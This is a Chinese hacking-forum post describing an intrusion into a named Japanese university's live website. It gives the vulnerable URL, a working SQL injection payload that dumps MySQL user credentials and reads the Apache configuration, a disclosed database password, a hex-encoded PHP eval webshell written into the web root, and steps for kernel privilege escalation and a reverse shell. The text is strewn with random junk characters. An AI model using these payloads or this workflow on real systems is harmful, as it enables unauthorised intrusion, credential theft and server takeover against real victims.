找回密码
 立即注册
查看: 3317|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析0 p  }8 }) O! Z2 S" u
/ p" E  L- x* \6 x$ B4 q* x# S6 s
http://www.doshisha.ac.jp/chs/news/index.php?i=-1! \) A7 t4 V' k( k) @
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
  ^* M/ L) Q# |* K* C: f6 [" u) n" G: S3 G, a) g; m* f
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user% E" {& Q* }9 y6 S4 r: t

5 R2 f0 ^0 d* J/ n$ c
8 w% w# {; W0 q+ |! f) s  k8 y& f. ]5 [/ o& \
//@@datadir为数据库文件路径
. K) v- s) C3 d* _ - p7 I7 |2 a3 D3 I
0 C. \" u; s  l  `7 |2 P+ b
//load_file读取网站容器apache的配置文件
* B5 e# ]1 `- x3 p  ~# U& p  i 5 y! X- {* k7 x: {& i* a
$ @1 {$ J8 |5 P2 A- m
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
+ @( |$ E0 Q/ X* |复制代码
* }8 s* f, l+ U, O+ r9 C5 P, n" T( F
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。8 c% E* b) t( p: t6 `" k6 ?

& u" M& e! G, U; e而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。, J. p4 o& q- n7 H4 w0 X7 s* d
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
9 Y6 N$ \$ v$ w8 k3 c8 j, M5 |1 T& @) B
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。8 Y: V2 `+ u7 O2 c' d# }* j
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html( ]  M4 I  z1 j& H

# I. D( H2 ]2 i: \* Q+ r6 N- M# V既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/2 |. S! ~8 \6 f; J# F8 }8 Q$ z- i% ]9 g9 c
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
" C! A- W2 s7 ?& d1 k/ F5 Q直接写一句话:, W0 V- m8 w1 L- J( x2 I1 u" x

2 `- j1 Z5 u8 N8 t- R% _9 D4 k3 B: Shttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
+ f; |  N: N/ ~6 }7 }/ l* w. b# {' L9 z# z8 z

  y1 [' ~( ]- G
7 ~, ]% r  `. X, J1 |//最后的#是为了闭合前面的语句
* k. ^! f9 Y3 {1 G* l 5 b+ i7 l' w; o
9 E1 h3 f! r/ [" y6 F' X1 L
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
7 b! {8 ]% M, t/ a7 T  }0 C3 ~
& R0 w. {* i' D4 u7 V3 C
% A: C, S) `7 Y% A' _为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
5 a' I1 y  w. G' `( \" K2 B( N
7 k2 z  h/ W- ?/ Q% c' H$ ], j" E) G8 k' i3 v! G% B* P5 T$ `
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 * l7 }- a7 b1 R3 `# l* ?
# x/ m' {/ I+ L

" q* j  m' a: z- k& z3 [1 ^//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
/ u( a7 S; h& o2 n; h! y//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
: m5 J! U* n! c4 M6 H! y, Y. n! u  u复制代码4 {: a8 G0 x5 l. U* {5 z

0 Z, L% @! ^# wHEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有; m) a" u( ?9 @0 ]
通过上述注入语句,我们就得到了一句话木马:0 w: y7 L, A( V

8 |8 K$ c. Y' g6 I , T0 K" G) O' e9 |8 c
8 ]+ d1 @) u# n

" u/ x6 J. z8 {' Q, J7 N
- O% e: H& v  P& N' Qhttp://www.doshisha.ac.jp/english/engnews_img/aa.php
& O* z6 M7 }# h8 F- M, y; \复制代码
6 \6 Z# _! K1 @, i( d4 {
. ]8 D3 Y: r) C用菜刀连接,密码是cmd,如图所示:
0 ]8 ~% G$ Q$ a  t2 G然后在命令提示行里看了一下,现在的权限是:
/ r* M9 y0 g& L. G/ ?+ `. b8 E8 E: _/ o5 \
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
: g' p9 j$ T% P好在赋权给这个文件夹不需要root,直接执行赋权语句:
) i7 a. E4 e- @' V  q7 a+ T* _$ R
( P4 B' R5 L) f9 Z1 A . w& ~& S( v+ h$ {! \
) ]# J5 s  h' F4 R( g
1 x& D% F# }! Y" r! w% {

1 F: I6 g" F1 S/ a" @chmod +x /tmp/
9 w' n3 V5 I9 z+ k  }2 @复制代码
/ o$ @4 u3 P( X5 d+ F5 E6 m! W# @: f$ [% m
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
7 k2 A0 ^* q8 |5 [然后就查了一下内核版本:
) s4 ~( @5 Y8 F# G5 X; s2 P) T0 Q  Q! {- e
* Z/ {0 u  r4 y7 a$ F
1 I: e. \, @! V  ^
! k9 |) f) ^& L* a  X
3 A2 ]- c* J! N+ e: P/ J
uname-a
2 J$ P" K, ^3 G% }$ _) z4 Q
5 X! U" ?# X: N; R8 U% f; k- ?9 D2 o; c% p
//其实lsb_release -a
( o; _2 D: w) X" q/ k' Y复制代码! s7 \2 O+ h- }3 P. f' A

/ \# k! l: I0 ?# A9 r. O8 R如图所示:
; ?$ L! m+ l8 Q$ s/ H' q' M, _$ A" r
内核版本:linux mainz1 2.6.28-194.e15
3 F" f4 |# h, c- ~系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)0 Y) v% o$ o( n+ N
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
7 Q: v! \: w8 d
0 u8 d8 l4 G+ W6 ]! u6 k然后给予执行权限
2 I1 x5 V6 a. _# V3 h: [一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
. M$ r2 q2 z8 X! f7 t# [5 T$ `5 ~' \" d
! i, D3 A* S, A) k$ d4 n
: v% T0 H+ M* l5 @- Z' G

0 C* z" \4 z$ h5 V- G
) H  v  K) J; t4 k  L3 tchmod +x /tmp/2.6.18-194 & W8 m+ B5 \# u. v; I
复制代码 然后直接执行!~
( k! n* u' \, P$ [! @& Y: q, V
  C8 y2 Z8 \5 r" l; a- _总结:- t6 E: _7 V$ D
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
* _: Q( O4 V& k1 b, q6 M& f提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
1 ~6 ]+ b( ]" P4 c* V2 A/ V
- o0 d# {9 }2 }+ K8 x! C
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表